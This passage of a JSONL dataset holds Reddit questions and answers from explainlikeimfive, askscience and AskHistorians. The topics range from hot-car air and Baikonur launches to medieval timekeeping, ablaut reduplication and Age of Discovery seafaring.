spend hours pouring over blueprints for the planned rebuilding of Berlin; I wouldn't be surprised if he had blueprints of buildings he admired lying about."]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/b/b1/Nebraska_State_Capitol_Highsmith.jpeg"], "answers_urls": [[], ["http://books.google.nl/books?id=jUwEAAAAMBAJ&amp;printsec=frontcover&amp;hl=nl&amp;source=gbs_ge_summary_r&amp;cad=0#v=onepage&amp;q&amp;f=false", "http://www.theguardian.com/world/2002/may/09/kateconnolly"], []]}
{"q_id": "8plpxd", "title": "why is it, upon entering say a hot car, that the air itself feels different? almost as if it feels thicker or denser when you breathe it in?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8plpxd/eli5_why_is_it_upon_entering_say_a_hot_car_that/", "answers": {"a_id": ["e0c86sr", "e0cibyq", "e0cw8gk"], "score": [3, 3, 4], "text": ["True, cooler air is denser than warm air, all other things equal.  I don't know if you can sense the difference or not.  \n\nThe hot air inside the car will certainly have a much lower relative humidity than the cooler air outside, and so will seem very dry.  That might be what you notice.", "Could just be the temperature.  Breathing in really hot air is not something you do very often and could feel weird when the air is hotter than your lungs.", "This is most likely to do with humidity. Warmer temperatures can hold more moisture than colder temperatures. The air is also very stagnant and most of the coolness and comfort you feel just before entering that car is from cooler air that is actively moving around you. The air in the car cannot leave and is thus circulated within the car as it picks up the moisture that is lingering in the car from the last time you were in it while adding moisture (breathing, sweating, your eyes, etc) \n\nIt's also well known that higher temperatures also allow you to feel differences in humidity much more easily than cold temperatures. Warmer air at a certain absolute humidity will feel worse than colder air at the same absolute humidity level, despite the colder air having a higher relative humidity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4adb9a", "title": "why do the most space missions seem to launch from the cosmodrome in kazakhstan?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4adb9a/eli5_why_do_the_most_space_missions_seem_to/", "answers": {"a_id": ["d0zcpug", "d0zd3dw", "d0zd3us", "d0ze26v", "d0zelvv", "d0zfzqr"], "score": [93, 12, 24, 4, 9, 3], "text": ["Russia is launching the *manned* missions than the US since NASA retired the Space Shuttle fleet. There's nothing ideal per se about the Cosmodrome; mostly, it was one of the more southerly locations in the old USSR, and for space launches, ideal means as close to the equator as you can get.", "As a first thing, there aren't many cosmodromes around the world. You need a fairly desert place to build one, for safety reasons.\n\nThe USSR built one there and... it's still good! Furthermore, the ~~soviets~~ russians are the only one that still have a functioning vehicle for human missions, since the USA ditched the shuttle. So.. All human missions launch from there. Non-manned missions are still leaving from other nations also.\n\nJust to give you an example, the european space agency launches its missiles from an Island in the athlantic in the french colony of Guiana. \n\n(BTW, a couple of Soyuz also launched from Guiana, but unmanned). I think that others launch sites are the usual US ones and one in India. ", "Right now only Russia has a crew vehicle that can launch a manned mission to the ISS.  So all manned missions launch from Russia.", "Context for why I'm asking in the first place: \nEurope and Russia have launched a joint mission to the Red Planet.\nThe satellite, called the ExoMars Trace Gas Orbiter (TGO), lifted off from [Baikonur in Kazakhstan at 09:31 GMT.](_URL_0_)", "A lot of the answers in this thread are correct, but there's also a small point that they miss. The cosmodrome is at 51 degrees of latitude, and the inclination of the space station's orbit is also 51 degrees. So it's a bit more efficient to launch from there since there's no need to do an inclination change (this is why the space shuttles had to do those crazy roll maneuvers when they launched from KSC). As far as I'm aware there are a couple of other launch sites in Russia (possibly decommissioned now) but they use Baikonur when they're going to the ISS because it puts them on the right inclination for a rendezvous.", "Most of these answers are fairly incomplete or just brutal to read.  \nThere are a couple main reasons:  \nRussia launches most frequently from Baikonur because it is the most Southern location that they have rights to (Kazakhstan was a former state of the USSR and the Russians have just maintained their facilities there since. The other launch site Russia uses most frequently is Plesetsk (Northern Russia) - which is where they launch their polar orbit missions.  \nRussia launches more high profile missions than other countries because they are the only remaining space agency with manned launch capabilities. So you may hear about their launches more frequently than you hear about NASA/US AF, ESA, JAXA, or Chinese launches.  \nRussia also leases space on its launches fairly frequently (I'm not sure on the stats, but I'd say it happens as frequent if not more frequently than on other launches), giving countries or private companies that otherwise would not be able to launch the ability to put satellites in orbit.  \nBut when you look at the number of actual space launches (objects in orbit, not sub-orbital or ballistic missile tests), Russia launched about the same amount as the US - they just launched all the manned missions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.bbc.com/news/science-environment-35799792"], [], []]}
{"q_id": "zfukg", "title": "If Air Force One, or another typically long-distance jet, were to remain perpetually in flight, being refueled when needed, etc, how long could it remain in flight and in continuous use?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zfukg/if_air_force_one_or_another_typically/", "answers": {"a_id": ["c647nji", "c64a6td", "c64auvl", "c64cjor", "c64eraj"], "score": [29, 4, 3, 4, 2], "text": ["You may find [this](_URL_0_) of interest: in 1958, a single-engine prop plane stayed up for _64 days_.  They refueled and resupplied by matching speed with a fuel truck driving down the runway and hoisting stuff up, about twice a day.  They modified the engine so they could change the oil in flight.  They only gave up when the engine had so much carbon buildup that they could barely climb after refueling.", "The [heat-transfer reactor experiment](_URL_0_) (HTRE) is also relevant.  This would have produced a jet-powered aircraft that used a nuclear reactor for the heat source instead of hydrocarbon fuel.  In essence, it took the \"refueling\" part out of the equation.", "You are generally limited to the time-between-overhaul life span on the turbofan engines.  Typically 3000-5000 running time", "About two days. \n\nOil in the engine is the most limiting factor. A CFM56-7, the type of engine on a 737, holds 23 quarts of oil. It burns roughly .5 quarts an hour. So ... About two days. \n\n", "If you're willing to go electric, there might be fewer issues with oil and carbon buildup.  Solar powered robotic planes have stayed aloft for two weeks and could likely go longer.  Recently a [laser powered UAV](_URL_0_) went two days aloft."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://rnjennison.xanga.com/709208045/the-world-record-longest-flight-in-a-single-engine-airplane/"], ["http://en.wikipedia.org/wiki/Aircraft_Nuclear_Propulsion"], [], [], ["http://cosmiclog.nbcnews.com/_news/2012/07/12/12690006-laser-beam-keeps-robo-plane-buzzing-for-two-days-straight?lite"]]}
{"q_id": "4pw7az", "title": "why do these tree shadows look pixelated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4pw7az/eli5_why_do_these_tree_shadows_look_pixelated/", "answers": {"a_id": ["d4oc7mm", "d4ogsw1"], "score": [23, 3], "text": ["The street light is a new LED lamp containing multiple points of light. Multiple light sources causes multiple shadows leading to pixelated appearance. ", "I'd be willing to bet your light source is either a square, rectangle, or made up of lots of points, like an LED light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2pfoz2", "title": "If a number is irrational and algebraic, is it necessarily of the form n\u221ap where n is an integer and p is prime?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2pfoz2/if_a_number_is_irrational_and_algebraic_is_it/", "answers": {"a_id": ["cmwfuhq", "cmwh3bj"], "score": [6, 15], "text": ["No, that's much too restrictive. 1/\u221a2 is a root of 2*x*^2 \u2013 1, so it's algebraic.\n\nYou will need to at least allow nested arbitrary rational powers of rationals. For example:\n\n* (*p*/*q*)^(*r*/*s*) is a root of *q*^(*r*)*x*^*s* \u2013 *p*^(*r*)  \n* \u221a(a + \u221ab) is a root of (*x*^2 \u2013 *a*)^2 \u2013 *b*", "No, for example \u221a6 is algebraic. A more complicated example is \u221a2+\u221a3.\n\nYou may now ask the question, what if I took all rationals and did all ways of combining multiplication, addition, square rooting, cube rooting etc (for example things like _URL_0_). It turns out that this still does not include all algebraic numbers, but proving this is complicated and was the main motivation behind Galois theory. One example is the roots of x^5-x+1=0 exist, but cannot be expressed in the form of square roots or cube roots etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.wolframalpha.com/input/?i=-%282%2F%283+%289%2Bsqrt%2893%29%29%29%29^%281%2F3%29%2B%281%2F2+%289%2Bsqrt%2893%29%29%29^%281%2F3%29%2F3^%282%2F3%29&amp;lk=1&amp;a=ClashPrefs_*Math-"]]}
{"q_id": "3lecn8", "title": "It's 19th century England and I'm a full grown 18 year old man looking to join in the army. What would I have to do, what would the living standards be and what would my pay and benefits be?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3lecn8/its_19th_century_england_and_im_a_full_grown_18/", "answers": {"a_id": ["cv5odm1"], "score": [39], "text": ["Well, I can speak for the Napoleonic era through into the middle of the century. \n\nUsually soldiers were recruited through 3 ways. The first and most 'romantic' method, was to join up after being recruited by a recruiting party led by a Sergeant that would travel around the towns and countryside in circuits, usually dressed in theatrical versions of the regular Army uniform to look as splendid as possible, who would regale prospective soldiers with tales of the benefits of Army life and the heroism, and appeal to the ladies the life provided. As each party recruited for a particular regiment, they would focus on the battles and honours the particular regiment had earned and so some young men who wanted to join would express preferences for particular regiments, with the Guards regiments being held in the highest esteem, followed usually by the Cavalry, and then certain Infantry regiments (particularly those with many battle honours) being favoured, with those regiments stationed in unpopular places such as the East or West Indies being the least attractive of them all, due to the likelihood of death by disease. Due to the unpopularity of the Army with many people as a career, many Sergeants would get their potential recruits heavily drunk in the local taverns before getting them to sign up, then locking them up to prevent their escape upon sobering up.\n\nA second method was the recruiting Sergeant would consult the Justices of the Peace and Assizes Judges in each parish and Hundred, and would recruit for a fee those persons found guilty of petty crimes not sufficiently bad that they had been sentenced to transportation or death, as there was no formal prison system. It was with respect of this group that Wellington referred to the soldiers of the British Infantry as 'the scum of the earth'.\n\nThe third main enlistment route was for those who transferred from the Militia (the part time home defence army who were not obliged to go on foreign service) to the regulars. There were several inducements for those willing to transfer such as being able to pick their unit (where practical) and signing on bonuses of anywhere up to \u00a330 (equivalent to 2-3 years pay for a farm labourer)  at the height of the Napoleonic wars, due to the benefits of their previous training being highly valued\n\nThose who transferred or volunteered would often also receive a bonus for signing up, ranging from \u00a37 to over \u00a323 though often the stoppages in their pay for the price of their equipment (which they had to pay for themselves) would wipe out much of their bonus upon joining the Army. \n\nThe ceremony would be finalised when the recruit took the 'King's Shilling' as a symbol of their joining the Army, and signing their recruitment papers, either for 26 years, or from 1807, there was the option of joining up for 7 years.\n\nThe pay throughout the first decades of the 19th century was 1 shilling per day (12 pence), but the soldier had to pay for their food, clothing, rent and pension contribution to the Chelsea Hospital fund from this, leaving many soldiers with \u00a37 7s 7d as a basic yearly wage, less than an agricultural labourer of the time, but at least with the guarantee of food everyday.\n\nOn foreign and campaign services the living conditions could be terrible, as the quartermaster's department was usually very inefficient at providing more than the most basic necessities, and tents, being heavy were often left behind or rapidly abandoned, leaving the soldiers to sleep under blankets in all weathers. For more details of this aspect of soldiers lives I recommend both Redcoat by Richard Holmes or The Armies of Wellington by P. J. Haythornewaite. \n\nOn home service the idea of military barracks was only just starting to come in, so the majority of Soldiers through the Napoleonic period were billeted in taverns or in camps. \n\nThis should cover the basics of your questions, but feel free to ask any follow-ups if you want me to expand on any points."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3zegmx", "title": "Are some languages easier to understand than others for Intelligent Personal Assistants like Google Now, Cortana, Siri?", "selftext": "I don't really know what kind of algorithms are used by IPAs to distinguish between similar spoken words.\n\nFrom a computational perspective, is there an \"easier\" language that can be understood/heard?\n\nIf so, is it the one that has the biggest range of frequencies emitted? Or the one which the words are the most different from each other?\n\nCan languages be distinguished in a listenability scale choosing some core factors that features them?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3zegmx/are_some_languages_easier_to_understand_than/", "answers": {"a_id": ["cylz2i7", "cylzjt5"], "score": [31, 4], "text": ["**Disclaimer:** Take this with a grain of salt, my knowledge is coming from an AI course at my university. Hopefully someone with real NLP experience can explain more or correct me if I've made a mistake.\n\n\nYour main question actually boils down to two different questions. There's the difficulty in *transcribing* speech and then there's the difficulty in actually understanding the *meaning* of speech. I'll try to address both.  \n\n\nThere are 6 levels of linguistic knowledge necessary for true natural language processing (NLP):\n \n * Phonological - the literal sounds\n * Morphological - syllables fitting together into words\n * Syntactic - the grammar of how words fit together into sentences\n * Semantic - multiple word meanings combine to give the sentence meaning \n * Pragmatic - the sentence can be interpreted in different contexts\n * Discourse - sentences are combined to form a logical story\n\n\nThe nuances found in different languages often occur in different levels. Some examples include [Mandarin tones](_URL_0_) which affect phonological processing or [Agglutination](_URL_1_) (in languages like Turkish or Finnish) which affects morphological processing.  To address the specifics mentioned in the question: Since phonology and morphology are the levels closest to the actual processing of sound, I would venture to say that transcription is harder for languages where those two levels are particularly ambiguous or subtle (e.g. low range of frequencies, many similar words). If the IPA can't distinguish between certain tones or words, then there will obviously be difficulties forming those words into sentences and deriving meaning from those sentences.  \n\n\nThat said, most NLP struggles with the levels related to understanding the bigger picture (i.e. meaning) more than the lower levels (i.e. sound processing).  This is why your personal assistant that speaks 10 different languages still takes one command at a time; it can hear you just fine in whatever language, but it can't act like an actual assistant yet because context and common-sense is well beyond it.  \n\n\nLanguages that are harder to transcribe are not necessarily harder to understand; even though one language may have sounds or words that are harder to distinguish, another may require more complex context interpretation.  \n\n\n\nTL;DR - Natural language processing is very complicated.", "There's several processes going on which allow for a virtual assistant to \"understand\" human speech. One is parsing for the lexical and syntactic aspects and another is sound detection. The parsing is typically done with the use of a [head driven phrase structure grammar](_URL_4_) based parser. HPSG based parsers have been made for numerous major languages, including German, English, and Japanese. Other frameworks can be used though, but HPSG is currently the most commonly used. Any language which is supported by a decent parser will be relatively \"easy\" to be \"understood\" at least at the syntactic level, but there are some issues involved based on the typological nature of a language. Most of the major world's languages just happen to be lightly [synthetic](_URL_5_), and a few are lightly [analytic](_URL_1_). As a result available resources for highly synthetic languages (aka [polysynthetic](_URL_3_) and [agglutinative](_URL_2_)) are lacking. The difficulties with establishing a good corpora for a LM for a agglutinative language are expressed pretty succinctly by [Ar\u0131soy and Sarac\u0327lar 2007's lecture](_URL_0_).\n\nI don't know as much about the sound detection part of the subject, so I'll let others speak to that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.learnnc.org/lp/editions/mandarin1/4480", "https://en.wikipedia.org/wiki/Agglutination"], ["http://www.speech.sri.com/seminars/slides/Arisoy2007/arisoy-sri-talk07.pdf", "https://en.wikipedia.org/wiki/Analytic_language", "https://en.wikipedia.org/wiki/Agglutinative_language", "https://en.wikipedia.org/wiki/Polysynthetic_language", "https://en.wikipedia.org/wiki/Head-driven_phrase_structure_grammar", "https://en.wikipedia.org/wiki/Synthetic_language"]]}
{"q_id": "4b0foh", "title": "In the medieval times when people were meeting others at night somewhere how did they know when to meet?", "selftext": "Let's say someone says in two days time.  How long will the person wait for the other?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4b0foh/in_the_medieval_times_when_people_were_meeting/", "answers": {"a_id": ["d158vff"], "score": [45], "text": ["The most important timekeeper of the medieval world were churches--the parish church and cathedrals, of course, but especially churches affiliated with a monastic/mendicant order or with a chapter of canons (semi-monks) attached. Their bells would sound to announce the Hours--the designated periods of prayer throughout the day prescribed by monastic Rules.\n\nWhen mechanical clocks and hourglasses appear and spread throughout western Europe in the 14th and 15th centuries, indeed, monasteries are a major channel of dissemination. But monasteries still had need of counting the hours--the Hours--before then.\n\nThe two basic methods were not unique to western Europe. First was the water clock. What used to be thought (i.e. what Wikipedia still thinks, citing books from the 1800s) references to mechanical clocks in the Latin West prior to the 13th century are typically now understood to be water clocks, sort of like an hourglass with water instead of sand. (Medieval Arab scientists would adapt water clocks into a mechanized form. It took the West longer than the Islamic world or the Greek East to figure out how to use mechanical gears to move things without ongoing human intervention.)\n\nThe second was the candle or lamp clock, which used the burning-down of a candle (with the size calibrated and standardized) or the depletion of lamp oil to measure periods of time.\n\nBut it can't be that simple, can it?\n\nWater clocks and candle clocks kept equal increments of time, and the medieval monastic Hours *were not equally spaced*. They shifted to accomodate sunrise, sunset, and the rhythms of monastic life (or, as Le Goff has posited, the demands of daily labor in general, particularly in cities). Indeed, the length of an 'hour' differed throughout the day and throughout the year. (Not to mention over the course of the Middle Ages.)\n\nETA: McCluskey, \"Gregory of Tours, Monastic Timekeeping, and Early Christian Attitudes to Astronomy\" talks about some of the problems medieval monks dealt with between hours of set, regular duration, and variable hours based on the length of the day and the night shifting throughout the year."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dme0zv", "title": "what is rom?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dme0zv/eli5_what_is_rom/", "answers": {"a_id": ["f4zlpn1", "f4zlrm7", "f4zmqaf", "f4zmrma"], "score": [4, 3, 3, 3], "text": ["Read\n\nOnly\n\nMemory\n\nIt is computer memory that holds a program or data, but can not be re-written easily.", "Read Only Memory.\n\nIt is, in theory, a kind of computer memory that the manufacturer writes a program into (like the first program that runs on a computer a helps it start windows for example, in this case it is called a BIOS), and that memory can never be written again, just read. This serves to protect those sensitive programs / data from accidental writes and decreases production costs, and increases life span.\n\nIn practice, some ROMs are writable under certain circumstances, eg. when you update the BIOS, or your phone firmware. These circumstances are decided by the manufacturer, and of course depends on the context of usage.", "You are likely thinking of Read Only Memory. This is memory (storage) that can not be written to, only read from. Early models were built with the information stored in their design. Later on they got Programmable Read Only Memory (PROM) which could be programmed (written to) once but this would physically change the device permanently. Later on you had Erasable PROM where the physical changes of programming them could be undone through a physical process, it would however deteriorate the chip over time. Then came the Electronically Erasable PROM where applying an electronic current to a pin on the device would errase it allowing it to be reprogrammed a few thousand times. This is the precursor of the modern day flash drives.\n\nROM (in any form) were quite common before as the only other storage mediums were big magnetic devices or volatile short term memory devices. So if you wanted a small cheap permanent storage device for example as your computer boot drive or a game cartridge there were no other options. It is still used quite extensively although mostly in embeded devices. They can also be found in secure devices as they can not be reprogrammed which can be a feature.", "To add to this....\n\nPeople often refer to retro games that have been saved to a computer for use in an emulator.\n\nThey are called roms because the file is the data from the read only memory on game cartridges"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6o24tl", "title": "why does saying \"tock, tick, tock, tick\" seems really weird, but saying \"tick, tock, tick, tock\" sounds more correct?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6o24tl/eli5_why_does_saying_tock_tick_tock_tick_seems/", "answers": {"a_id": ["dkdyw75", "dkdzmek", "dke4xp5", "dke5erd", "dkeayhm", "dkecf7u", "dkeh66z", "dkehsod", "dkev6g7"], "score": [595, 13356, 22, 31, 3, 2, 28, 2, 3], "text": ["Here's an image I found explaining it: _URL_0_\n\nBasically it's because English has subtle rules for the order words should go in. If there's words with I, A, and O, the first is the one with I, and the second can be A or O.\n\nRedditor /u/qdatk explained:\n > i-a and i-o vowels are chosen because they are maximally different from each other and hence \"interesting\" to the ear. The i comes before the a/o because a/o are longer in duration, which makes them fit better with final syllables.", "This is an example of what's called \"ablaut reduplication\". An \"ablaut\" is a specific type of change in a vowel sound; \"reduplication\" is repeating something exactly or almost exactly.\n\nIn English, the vowels in an ablaut reduplication nearly always follow the same pattern: \"i\" comes before \"a\", which comes before \"o\". This is one of those unconscious rules of English pronunciation that we have: we have somehow learned that this is the correct order, and putting the vowels in any other order sounds \"wrong\".\n\nSo we have \"tick, tock\", \"tip-top\", \"chit-chat\", \"tittle-tattle\", \"bish, bash, bosh\" and so on. If you're not British, you may not have ever heard of \"bish, bash, bosh\", and yet it still sounds right, while \"bosh, bash, bish\" sounds more awkward (or should do).\n\nIn the phrase \"big bad wolf\", this ablaut reduplication actually overrides a grammar rule: normally, adjectives describing your opinion of something should come before adjectives describing that thing's size, so it should be \"bad big wolf\", in the same way that we say \"boring little man\" and not \"little boring man\". But the urge to preserve the order of ablaut reduplication is much greater, so we say \"big bad wolf\".\n\nEDIT: Thanks for the gold.\n\nEDIT 2: My attention has been drawn to the fact that there are other cases where \"big\" breaks the usual order of adjectives without ablaut reduplication being a factor. There's probably something else going on there, and one day I might read up on it.", "In linguistics there is something called collocation, which is where pairs of words are always used in the same order. Examples are in and out, cream and sugar, rain or shine, suit and tie.  There's no rule about these pairs, but are used through habit. ", "The word \"tick\" we usually pronounce with a higher tone then the word \"tock\" so its an elevated tick followed by a lower noted tock, up down up down, tick tock, tick tock.\n\nWhen pronouncing the O in tock it drops the note of the word do to opening your mouth more than when you say tick which is tighter, more abrasive and higher.\n\nIf you start with Tock but start low and then go high for tick it doesn't sound nearly as awkward. Tock tick tock tick low high low high. Its saying the O as a higher noted word than the I that sounds odd.", "In \"Tick tock\" We say \"tick\" at a higher pitch and \"tock\" lower, and the vowel \"i\" has more high frequency information while \"o\" is lower. So when we start with \"tock\" and say \"tock\" in the higher tone and \"tick\" in the lower one it sounds weird and unsatisfying melodically.\n\nTry starting with \"tock\" in the lower tone and jumping up to \"tick\", it still sounds a little unfamiliar, but much less unsatisfying.", "Its similar in music theory...when one uses 'modes' of a key.  The same notes can give a complete different feel depending on which note leads.  A Cmajor scale and Aminor scale are relative scales (modes of each other) having the sames notes but are not perceived the same when we hear them.\n\n", "The reason ablaut reduplication works is because of the physics of sound. Almost all sounds begin with high pitched information and end with low pitched information.\nThe order of vowels in ablaut reduplication is the exact order of the brightness of the vowels. \nSay \"Fe Fi Fo Fum\". Every word gets darker/lower than the first. It sounds almost like a piece of gravel bouncing down a hill, sounding further away with each bounce. \n\nSentences that are phonetically pleasing are sentences that closely match the sounds of nature. ", "I tend to think it's more music driven. From a tense vowel to a relaxed vowel. [i] - >  [o] \n\nIt also descends in pitch, the descending third is the most common interval that shows up in children's songs naturally across all cultures and many birds as well. Tick Tock from a speech perspective is a lazy spoken descending 3rd.", "you literally saw this on TIL a few weeks ago and posted it as a question for internet points.  go outside."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/46kLQuf.jpg"], [], [], [], [], [], [], [], []]}
{"q_id": "7uhm09", "title": "why sweetcorn stays primarily intact during the digestion process", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7uhm09/eli5_why_sweetcorn_stays_primarily_intact_during/", "answers": {"a_id": ["dtkcyt6"], "score": [10], "text": ["It doesn't. Only the outside shell remains partially intact. This is because the shell is made of cellulose, a type of polysaccharide that our bodies lack the proper enzymes to digest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "q489m", "title": "why doesn't boyle's self flowing flask work to power a generator?", "selftext": "I had a friend bring up Boyle's Self Flowing Flask  Generator idea to me and I having trouble explaining to him why this won't work, could use some help finding my words.\n\n**Edit** Never mind, I was describing it in too general of terms and he was misunderstanding me. The terms output and input was throwing or conversation off.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/q489m/eli5_why_doesnt_boyles_self_flowing_flask_work_to/", "answers": {"a_id": ["c3ukw9d", "c3ulpll", "c3umwfs"], "score": [14, 3, 2], "text": ["First, the flask is an imaginary device. It does not exist. If you try to build one, it doesn't work right.\n\nSecond, any device that is designed to run on and on using its own momentum *only* works if you don't draw energy away from it. As soon as you draw energy away from it -- by requiring it to do work -- it quickly grinds to a halt.\n\nFor example, you can use a moving car to generate heat by friction, but very soon the car just stops and stays stopped! In fact that's how brakes work. Unfortunately even the smallest amount of friction -- like water rubbing against the inside of a pipe -- is enough to eventually stop anything, so no machine just runs forever without a push. And that gets *much worse* if you hook up a generator.", "From [Wikipedia](_URL_0_) (scroll down a bit, it's an image caption):\n\n >  Boyle's self-flowing flask, a perpetual motion machine, appears to fill itself through siphon action (\"hydrostatic perpetual motion\") and involves the \"hydrostatic paradox\"[17] This is not possible in reality; **a siphon requires its \"output\" to be lower than the \"input\".**", "I have seen this principle in action.\n\nThis [picture](_URL_0_) should describe the reality of syphoning liquid back in an open container."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Robert_Boyle#Important_works"], ["http://i.imgur.com/1Cip2.png"]]}
{"q_id": "a6wcso", "title": "what happens during rehab and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6wcso/eli5_what_happens_during_rehab_and_how_does_it/", "answers": {"a_id": ["ebyk045", "ebyow69"], "score": [3, 2], "text": ["There's a really good clip of Steve-o talking about this on Joe Rogan's podcast, but the gist is it's different for everyone. If it's severe enough, there's special clinics designed that keep you for a couple weeks, then you may go to a sort of \"halfway\" house apartment after that. Other people are there and there's a sort of curfew situation; everyone keeps everyone in check.\n\nAnd how it works is a lot like a 12 Step Program, so there's lots of reflection and limiting your consumption until you stop.\n\nIf it's really serious though, either family, friends, or under a doctor's request may check you into a higher care facility, much like a psychiatric care facility.   \n\nThere's other things like drug centers, which are safe environments where users can go to get healthy fixes with staff providing assistance and clean utensils. It's not perfect, but it's a better situation for some - and it's far from what you'd call rehab ", "In a nutshell it places you in an environment where you can comfortably break a physical dependence from drugs through detoxification.  Then through counseling and abstinence, it puts you in a position where relapse would be less likely after being released. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a8bqit", "title": "how did so many civilizations discover such similar things such as the bow and arrow even though they didn't have connections?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a8bqit/eli5_how_did_so_many_civilizations_discover_such/", "answers": {"a_id": ["ec9dq4o", "ec9dy2j", "ec9fh1p", "ec9ix45", "ec9j314", "ec9l6dt", "ecag80u"], "score": [13, 2, 8, 3, 2, 4, 3], "text": ["Bows and arrows are really useful things. Given enough time, most civilizations that like in places where bows and arrows would be useful will eventually develop them. There is some evidence that the concept of writing was developed thousands of years apart in different parts of the world that had no connect to each other. ", "This isn\u2019t entirely accurate, the majority of ancient civilisations whilst they may not have been interacting directly, were actually connected via the silk road which meant technological advancements could spread relatively easily. \n\nEdit: there is something called \u2018multiple discovery\u2019 you may want to have a look at which is kind of what you\u2019re getting at but is more relevant to scientific discoveries than technological. ", "It's common for different people to have the same ideas on how to solve a problem. \n\nYou want to shoot something far away and have X materials around you. Out of 1000 people each trying to solve this do you really think each of them,separately without influence, will come up with a truly unique idea when everyone is working with mostly the same building materials? People may be \"unique individuals\" but our brains are generally all pretty similar in problem solving.\n\nIf you have a good idea, someone probably already thought of it. ", "The same reason that lots of ancient civilizations built pyramid like structures even though they weren't connected. If something is useful and relatively easy to make it's not unlikely for many civilizations to discover it independently. ", "Ancient societies probably weren't as isolated and separate as you think.\n\nIt's very easy for technology to spread even with minimal contact and travel. A person from France may never have met a person from China, so you can reasonably wonder how they have bows in both places, but actually he only needs to have regular contact with the guy from the next village. The guy from that village will have contacts in the next, and so on, right across the planet. To every individual on the chain, they only know people locally. Something as useful as a bow will have spread across the globe like wildfire, and was probably developed independently a number of times as well.", "It's actually not clear how many times the bow was discovered.  Probably at least twice (once in North America, once in the Old World) but it's pretty hard to track.  On the other hand, a wheel usable for transport seems to have been invented only once.  Writing was invented independently at least twice (mesopotamia, mesoamerica), probably three times (china) and possibly a couple more times.  \n\nIt's not impossible for people living in similar situations to invent similar solutions...but it's also not impossible for ideas and technologies to spread a long way to cultures that don't immediately seem connected: eg, how wheels in ancient China and Britain are both dating back to the same invention.  ", "And why did some civilizations never discover/invent one of the most basic of tools -- the wheel?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "2yk44u", "title": "Daily life/dealing with boredom/handling stress during seafaring - especially during the Age of Discovery?", "selftext": "I love exploration computer games - from Uncharted Waters, Pirates!, space games such as Elite/X3/Freelancer, to the more recent Sunless Sea, EU4 - however I never realized how stressful/boring could be because in games, time runs at hours/days per real-time minute (in the case of EU4/X3, even second).\n\nSunless Sea is the most recent exploration game and the first one that made me realize how boring and stress it can be (the game did it on purpose) while travelling in the sea. 5 minutes of drifting in a direction seeing nothing but just water around was already quite painful, even though I'm chatting with friend/reading reddit/watching TV/listening to music during the same time.\n\nThen I imagined, for example, how horrible for Columbus' first few voyages must be:\n\n- Time. His first voyage took 5 weeks. 5 weeks constrained to a ship. 5 weeks looking at nothing but water.\n\n- Boredom. It may sound very first world, modern problem, but there were no MP3, no internet, no console/PC for gaming, heck, even no electricity, no coffee, no chocolate. What would he do, except for writing the same sea journal entries \"nothing happens today\", \"Pete loses 5 ducats today\", over and over again? Read the same book over and over again? Solving math puzzles?\n\n- Uncertainty. They were going in a direction that no one dared to go. They went and 3 days without land in sight...5 days...10 days...20 days...Have they ever thought of a threshold of seeing no land that they MUST turn back? Or did they have some kind of gambler's fallacy that \"since we are already 30 days away, we might as well keep going\"?\n\n- \"Where the heck are we?\" In current time, if I got lost in the middle of some country side, I would panic a little bit - even though with GPS in my phone which is in my hand and cars everywhere nowadays, it's never possible to be truly lost. But back then, there were no map, no landscape in sight to refer their own position to, everything and the only around was just sea water...I would surely question myself, where the hell am I?\n\n- Life quality. 30 days on the sea must be...terrible, by today's standard. No bath, no entertainment - what SORT of entertainment would they have? Gambling? Suntanning? Reading? Would sailors back then even enjoy reading? And half seriously, there were no brothels on the sea...\n\n- Food. I guess it was just days after days of salted meat plus alcohol? Have they ever thought that their voyage might last longer than, say 50 days? How would they survive then? Fishing? What about drinking water?\n\nAlso, not exactly related to seafaring, but let's say they've discovered a land. How (soon) would they know they have discovered a tiny island, or a massive landscape (e.g. the North America)?\n\ntl,dr: How would sailors/captains on a ship deal with the horrible life quality, extremely boredom, and most importantly, maintain a sufficiently high morale to deal with \"it's 30 days seeing nothing but sea water now...how long must this go on?\"", "document": "", "subreddit": "AskHistorians", "url": 